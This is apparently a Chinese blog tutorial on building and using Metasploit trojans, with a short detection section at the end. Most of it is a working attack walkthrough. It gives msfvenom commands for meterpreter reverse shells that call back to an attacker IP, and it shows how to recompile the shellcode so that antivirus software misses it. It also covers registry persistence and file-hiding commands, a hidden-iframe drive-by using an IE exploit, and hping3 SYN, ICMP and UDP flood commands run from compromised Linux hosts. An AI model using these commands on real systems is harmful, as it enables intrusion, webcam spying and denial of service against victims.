木马的攻击与防御(MSF)

MSF简介

Metasploit是一个免费的、可下载的框架, 通过它可以很容易地 获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。它集成了以下4个模块:

  1. exploits模块
    漏洞攻击模块列表,入侵式
    命名规则:模块/系统/服务/名称
  2. payloads模块
    漏洞负载模块与exploits模块配合使用的用于入侵后的操作
  3. auxiliary模块
    辅助模块,通常用于没有攻击荷载的漏洞攻击。
  4. encoders模块
    编码器模块,用于msfvenom -e or
    msf执行时也可以使用通常用于生成木马等操作。
    nops(无操作生成器模块)post(开发模块)这两个模块不常用

常用命令

  1. help msf使用帮助
  2. ?+命令 对该命令的帮助
  3. back 返回上一层
  4. show + xxx 列出所有
  5. seach name 查找MSF内所有渗透攻击和其它模块
  6. info + 模块 展示指定渗透攻击或模块的相关信息
  7. use +模块 选择一个模块
  8. show options 查看攻击前需要的准备
  9. show targets 查看支持的平台

免杀概念

免杀。也就是反病毒(.AntiVirus)专与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus《简写Virus AV》,逐字翻译为“反-反病毒”。翻译为“反杀毒技术”

杀毒软件检测方式

  1. 特征代码法: " 同一病毒或同类病毒的某一部分代码相同”的原理来识别病毒文件。该技术是利用留在受感染文件中的病毒特征值进行检测。"发现新病毒后,对其进行分析,根据其特征编成病毒码,加入到数据库中。今后在执行查毒程序时,通过对比文件与病毒数据库中的病毒特征码,检查文件是香含有病毒。
  2. 校验和法: 此法计算文件的校,和并保存,可定刚或调用文件时进行对比,从而判断文件是否被病毒感染。
  3. 行为监测法: 此法根据病毒的行为特征来识别病毒。这需要对病毒行为进行详细的分类和研究、分析那些病毒共同的行为,以及正常程序的罕见行为,根据程序运行时的行为进行病毒判断和预警。
  4. 软件模拟法: 这种方法通过模拟病毒运行的方式来检测病毒特征。

杀毒软件主动防御
HIPS(主机入侵防御系统),常说的安全防护就是HIPS,其实就是杀毒软件会监控进程、流量,再和病毒库匹配,以及对不认识的文件上传到服务器进行模扣运行,研判是否是病毒,然后指导杀毒软件进行行为监控或者处理。

  1. 修改特征码:破坏了病毒与木马所固有的特征,并保证其原有的功能没有改变。
  2. 花指令免杀:其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,唯一目的就是阻止反汇编程序,或对反汇编设置障碍
  3. 内存免杀:CPU不可能为某一款加壳软件而特别设计,因此某个软件被加壳后的可执行代码是CPU读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,再通知CPU执行。
  4. 加壳免杀:可以称为软件加密(或软件压缩),当运行这个加壳程序时,系统首先回运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
  5. 二次编译:msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大便利。对shellcode进行进一步修改编译成了msf免杀的主流。
  6. 资源修改:有些杀软会设置扫描白名单,比如之前把程序图标改为360安全卫士图标就能绕过360的查杀。

msfvenom常用指令

  1. -p:指定payload模块
  2. -l:列出可用项
  3. -f:指定文件类型
  4. -e:加载编码器
  5. -b:删除无效字符
  6. -i:指定编码次数
  7. -x:捆绑文件
  8. -o:导出文件

网页挂马

网页挂马指的是把一个木马程序上传到一个网站里面,然后用木马生成器生成一个网马,放到网页空间里面,再加代码使得木马在打开网页时运行。

网页挂马工作原理
作为网页挂马的散布者,其目的是将木马下载到用户本地并进一步执行,当木马得到执行后,就意味着会有更多的木马被下载,且进一步被执行。这样就进入一个恶性的循环,从而使用户的电脑遭到攻击和控制。为达到目的首先要将木马下载到本地。

常见方式:

  1. 将木马伪装为页面元素,木马则会被浏览器自动下载到本地。
  2. 利用脚本运行的漏洞下载木马。
  3. 利用脚本运行的漏洞释放隐含在网页脚本中的木马。
  4. 将木马伪装成缺失的组件,或和缺失的组件捆绑在一起,如flash播放插件。这样既达到了下载的目的,下载的组件又会被浏览器自动执行。
  5. 通过脚本运行调用某些com组件,利用其漏洞下载木马。
  6. 在渲染页面内容的过程中,利用格式溢出释放木马,如ani格式溢出漏洞。
  7. 在渲染页面内容的过程中,利用格式溢出下载木马,如flash9.0.115播放漏洞。

防御措施:

  1. 对开放上传附件功能的网站,一定要进行身份认证,并只允许信任的人使用上传程序。
  2. 保证所使用的程序及时地更新。
  3. 不要在前台网页加注后台管理程序登录页面的链接。
  4. 时常备份数据库等文件,但是不要把备份数据放在程序默认的备份目录下。
  5. 管理员的用户名和密码要有一定复杂性。
  6. IIS中禁止目录的写入和执行功能,可以有效防止asp木马。
  7. 在服务器、虚拟主机控制面板设置执行权限选项中,将有上传权限的目录取消asp的运行权限。
  8. 创建一个robots.txt上传到网站根目录,Robots能够有效防范利用搜索引擎窃取信息的骇客。

实验环境

  1. kali linux
  2. Windows 7 x64
  3. Windows 10 x64
  4. Windows server 2008 R2

制作木马

  1. 用msfvenom生成一个木马:
    其中meterpreter表示后渗透模块,reverse_tcp基于tcp协议反向连接,这里只支持x86格式,即便是手动改成x64也是没有用的。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.104 lport=12581 -f exe > shell.exe

木马的攻击与防御(MSF)_第1张图片

  1. 本地已经生成了shell.exe:
    木马的攻击与防御(MSF)_第2张图片
  2. 由于邮件传播限制了exe文件,这里就利用访问kali的apache服务器下载到靶机:
    木马的攻击与防御(MSF)_第3张图片
  3. 设置监听,查看需要设置哪些东西:
    木马的攻击与防御(MSF)_第4张图片
  4. 继续设置:
    木马的攻击与防御(MSF)_第5张图片
  5. 开始攻击,等待激活:
    木马的攻击与防御(MSF)_第6张图片
  6. 当靶机激活了木马就可以获得shell了:
    木马的攻击与防御(MSF)_第7张图片
    但是这样的裸奔木马很容易被防火墙查杀,下面进一步做免杀。

制作免杀

  1. 使用msfvenom生成一个木马,使用-b规避字符并输出c文件的编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 \b '\x00' lhost=192.168.1.104 lport=12581 -f c

木马的攻击与防御(MSF)_第8张图片

  1. 将生成的编码复制下来:
    木马的攻击与防御(MSF)_第9张图片

  2. 这里使用vc++6.0新建一个工程,按如下选择:
    木马的攻击与防御(MSF)_第10张图片
    木马的攻击与防御(MSF)_第11张图片

  3. 将刚才复制的数组粘贴上去,下面的主函数会运行buf即生成的shellcode:
    木马的攻击与防御(MSF)_第12张图片

  4. 完成之后首先编译头文件以避免报错,再编译cpp,最后点击组建:
    木马的攻击与防御(MSF)_第13张图片

  5. 组建完成之后在刚刚生成的工程项目文件夹中就可以看到新的exe程序了。
    木马的攻击与防御(MSF)_第14张图片

  6. 再次上传到靶机,经测试可以绕过360和安全管家的查杀,但是绕不过火绒(可以-x捆绑尝试):
    木马的攻击与防御(MSF)_第15张图片
    木马的攻击与防御(MSF)_第16张图片
    木马的攻击与防御(MSF)_第17张图片

  7. 接下来run一下体验一下木马,whoami看一下权限:
    木马的攻击与防御(MSF)_第18张图片

  8. 甚至可以屏幕截图screeshot或者webcam_snap打开摄像头拍照:
    木马的攻击与防御(MSF)_第19张图片

  9. 查看本地进程可以看到正在执行的shell.exe(没找到通过cmd隐藏进程的方法),同样本地也可以通过查看进程发现木马:
    木马的攻击与防御(MSF)_第20张图片
    木马的攻击与防御(MSF)_第21张图片后来想通过设置开机自启动,但是没成功 - -

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell.exe /t reg_sz /d C:\users\administrator\desktop\123\shell.exe /f 
  1. 但是可以实现硬盘上的隐藏:
attrib +s +a +h +r C:\users\administrator\desktop\123\shell.exe

在这里插入图片描述

隐藏之后本地是看不到的:
木马的攻击与防御(MSF)_第22张图片

只能通过设置不勾选隐藏受保护的操作系统文件查看:
木马的攻击与防御(MSF)_第23张图片


制作网页挂马

  1. 将下面这段代码插入index.html中(理论来说插到任何地方都行,只要不把html语言弄乱了就行):
    width、height设置为0,这样我们就看不到网页的内容了。
    这里的网马地址设置为http://192.168.1.104:8060/hacker.html,当用户访问到http://192.168.1.104/index.html时,会自动访问http://192.168.1.104:8060/hacker.html,木马会被浏览器下载到本地。
    木马的攻击与防御(MSF)_第24张图片
  2. 利用ms11_003IE漏洞攻击win7主机:
use exploit/windows/browser/ms11_003_ie_css_import

木马的攻击与防御(MSF)_第25张图片

  1. 设置参数:
    木马的攻击与防御(MSF)_第26张图片
  2. 开始攻击,并使受害者访问(使用ie浏览器(经测试8.0版本可以,11版本不行)):
    木马的攻击与防御(MSF)_第27张图片
    木马的攻击与防御(MSF)_第28张图片
  3. kali端可以看到受害者主机已成功上线,成功获取到会话记录:
    木马的攻击与防御(MSF)_第29张图片
  4. metepreter的监听端介入会话(Ctrl+C退出连接状态):
    木马的攻击与防御(MSF)_第30张图片
  5. 运行命令‘sessions–i 5’,选择介入ID号为5的当前受害机回连的会话:
    木马的攻击与防御(MSF)_第31张图片
  6. 成功getshell(乱码修改编码即可):
    木马的攻击与防御(MSF)_第32张图片
  7. 最后执行一波关机操作:

在这里插入图片描述
木马的攻击与防御(MSF)_第33张图片


控制linux肉鸡进行DDos攻击

本来是想控制windows肉鸡进行ddos,但是windows工具攻击效果不明显,所以就控制linux使用hping3来进行ddos了
hping3命令:
1. SYN flood

SYN泛洪是最常用的扫描技术,以及这样做的原因是因为它是最危险的。
SYN泛洪在于发送大量的TCP数据包只有SYN标志。因为SYN报文用来打开一个TCP连接,受害人的主机将尝试打开这些连接。这些连接,存储的连接表中,将继续开放一定的时间,而攻击者不断涌入与SYN数据包。一旦受害者的连接表被填满时,它不会接受任何新的连接,因此,如果它是一个服务器这意味着它已不再被任何人访问。

hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.43.148

-c 100000 =packets 发送的数量.
-d 120 = packet的大小.
-S = 只发送SYN packets.
-w 64 = TCP window的大小.
-p 80 = Destination port . 可以使用任意端口.
–flood = Sending packets as fast as possible, 不显示回应. Flood mode.
–rand-source = 使用随机的Source IP Addresses. 或者使用 -a or spoof to hide hostnames.
2. ICMP flood

ICMP的泛洪攻击是在最小时间内发送最大的ICMP数据到目标机,例如使用ping指令。在"旧"时代它使用一个巨大的ping(死亡之ping)是可能破坏机器,攻击任何机器的带宽和处理时间

hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --flood 192.168.43.148

-q 表示quiet, -n 表示无 name resolving, id 0 表示有ICMP echo request (ping)
-d i表示包的大小 (56 is the normal size for a ping).
某些系统配置中自动地丢弃这种通过hping生成的头部设定不正确的ICMP包(例如不可能设置带顺序的ID)。在这种情况下,您可以使用Wireshark嗅探正常的ICMP回显请求报文,将其保存为二进制文件,并使用hping3重播。
3.UDP flood

利用大量UDP小包冲击DNS服务器或Radius认证服务器、流媒体视频服务器。

hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.43.148

对于UDP,你必须精确的知道源和目的端口,这里我选择了DNS和BOOTPC(的dhclient)端口。该BOOTPC(68)端口经常在个人电脑开着,因为大多数人使用DHCP来自己连接到网络。
实验流程:

  1. 先生成一个linux木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.43.157 lport=12581 -f elf > dos.elf

木马的攻击与防御(MSF)_第34张图片

  1. 开启监听
   set payload linux/x64/meterpreter/reverse_tcp
   set lhost 192.168.43.157
   set lport 12581

木马的攻击与防御(MSF)_第35张图片

  1. 将木马传入linux肉鸡并赋予权限
    在这里插入图片描述

  2. 获得shell,开始控制肉鸡(控制另外几台肉鸡,操作相同)
    木马的攻击与防御(MSF)_第36张图片

  3. 正常情况下服务器CPU性能和联网状态
    木马的攻击与防御(MSF)_第37张图片木马的攻击与防御(MSF)_第38张图片

  4. 开始ddos攻击
    木马的攻击与防御(MSF)_第39张图片

  5. 攻击后结果
    木马的攻击与防御(MSF)_第40张图片木马的攻击与防御(MSF)_第41张图片

  6. 目标服务器已拒绝服务
    木马的攻击与防御(MSF)_第42张图片


木马入侵的检测与防御

1. 排查网络连接:

  1. 在CMD中执行netstat -ano查看目前的网络连接。像这种已经建立好的奇怪端口的连接就是可能是可疑程序。
    木马的攻击与防御(MSF)_第43张图片
listening:端口在监听,等待连接但是未连接;
time wait状态:曾经有过连接但当前断开了,最后一次连接状态。
established状态:连接中。
fin_wait_2:第二次fin应答状态。
close_wait: 已关闭连接的状态。
fin_wait: 关闭连接发fin应答状态
  1. 通过端口找pid:netstat -aon|findstr “12581”
    在这里插入图片描述

  2. 通过pid找程序:tasklist|findstr “4784”
    在这里插入图片描述
      如果主机和外网IP已经建立连接(ESTABLISHED状态)或者尝试建立连接(SYN_SENT状态),可以先查询IP所属地,如果IP为国外IP或者归属各种云厂商,则需要重点关注,查询IP是否已被标注为恶意IP。
      如果无法直接从网络连接情况判断是否为异常连接,可以根据网络连接找到对应的进程ID,判断进程是否异常。如果不能从进程判断,可以进一步找到进程对应文件上传至virustotal,进行检测。如上面的截图中对内网扫描的进程ID是4784,在任务管理器中发现对应的文件是test.exe
    木马的攻击与防御(MSF)_第44张图片

  3. 上传至virustotal检测的结果为恶意文件。
    木马的攻击与防御(MSF)_第45张图片

  4. 可以借助Process Explorer进一步观察test.exe调用了cmd
    木马的攻击与防御(MSF)_第46张图片
    判断出为木马程序并中止进程

2. windows主机排查
  因攻击者可以使用attrib<程序>+S +h命令隐藏恶意程序,故在排查痕迹前需打开”工具-文件夹选项-查看”。按照下图中的设置,即可显示所有文件,通过进程中的目录找到并删除。
木马的攻击与防御(MSF)_第47张图片
3.后门账户

  1. net user查看是否有可疑账户
    木马的攻击与防御(MSF)_第48张图片
  2. net user hacker查看hacker账户的信息
    木马的攻击与防御(MSF)_第49张图片
  3. net localgroup administrators关注管理员组是否存在异常账户:
    木马的攻击与防御(MSF)_第50张图片
  4. net user hacker /del删除可疑账户
    木马的攻击与防御(MSF)_第51张图片

4.查看开机启动项
注册表中可通过设置键值的方式实现自启动,常见位置:

	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
	HKEY_CURRENT_USER\Environment

自启动项中的内容均需要查看、排查,主要类型有:Exe程序,脚本,命令; 找到可疑程序并删除
木马的攻击与防御(MSF)_第52张图片
5.系统日志
Win+R 输入eventvwr.exe查看日志,查看远程登陆日志,不论成功,在日志中都会留下入侵痕迹
木马的攻击与防御(MSF)_第53张图片
4624:账户已成功登陆,4625:账户登陆失败,关注日志中的ipAddress
木马的攻击与防御(MSF)_第54张图片
防御木马入侵的措施:
1、不要执行任何来历不明的软件
2、不要认为邮箱不会收到垃圾和带毒的邮件
3、不要随便留下个人资料
4、不要随便下载软件
5、不要轻易打开广告邮件中附件或点击其中的链接
6、将windows资源管理器配置成始终显示扩展名
7、尽量少用共享文件夹
8、给电子邮件加密
9、运行反木马实时监控程序


最后,本文章仅供学习,请遵守法律

参考链接:
https://blog.csdn.net/weixin_42582241/article/details/104649103(网页挂马实战)
https://blog.csdn.net/weixin_39190897/article/details/104969069(MSF木马免杀技术)
https://www.cnblogs.com/lanyincao/p/10884442.html(MSF入侵win10)
https://blog.51cto.com/19920624/1584465(Dos方法)
https://www.cnblogs.com/backlion/p/9484949.htm(Meterpreter命令详解)
https://www.xitongtiandi.net/wenzhang/win10/16066.html(windows命令大全)

你可能感兴趣的:(metasploit,kali,linux,渗透测试)